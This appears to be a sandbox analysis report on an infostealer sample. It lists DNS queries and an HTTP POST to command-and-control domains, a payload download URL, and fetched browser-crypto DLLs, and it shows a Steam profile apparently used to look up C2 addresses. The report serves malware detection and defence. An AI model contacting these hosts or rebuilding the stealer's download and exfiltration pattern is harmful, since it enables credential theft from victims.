https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: proxy.johnmccrea.com
Source: global traffic	DNS traffic detected: DNS query: playd.healthnlife.pk
Source: global traffic	DNS traffic detected: DNS query: soldiefieop.site
Source: global traffic	DNS traffic detected: DNS query: questionsmw.store
Source: global traffic	DNS traffic detected: DNS query: abnomalrkmu.site
Source: global traffic	DNS traffic detected: DNS query: chorusarorp.site
Source: global traffic	DNS traffic detected: DNS query: treatynreit.site
Source: global traffic	DNS traffic detected: DNS query: snarlypagowo.site
Source: global traffic	DNS traffic detected: DNS query: mysterisop.site
Source: global traffic	DNS traffic detected: DNS query: absorptioniw.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic	DNS traffic detected: DNS query: beearvagueo.site

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: beearvagueo.site

Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.GDAAKEBFIJDG
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.BFIJDG
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/M
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgJDG
Source: file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoEBFIJDG
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001549000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://playd.healthnlife.pk/ldms/a43486128347.exe
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://playd.healthnlife.pk/ldms/a43486128347.exe1kkkktoken
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://playd.healthnlife.pk/ldms/a43486128347.exeorm-data;
Source: file.exe, file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//freebl3.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//freebl3.dllnLF
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//mozglue.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//msvcp140.dll6L
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//nss3.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//nss3.dllp
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//softokn3.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//softokn3.dllNMf
Source: MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//sql.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//vcruntime140.dll0
Source: file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55
Source: MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/ontent-Disposition:
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490090182.000000001DDCD000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: KJKJKF.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beearvagueo.site/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beearvagueo.site/;
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beearvagueo.site/api
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beearvagueo.site/api;
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beearvagueo.site/i
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beearvagueo.site:443/apil
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: KJKJKF.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: KJKJKF.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: KJKJKF.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: KJKJKF.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
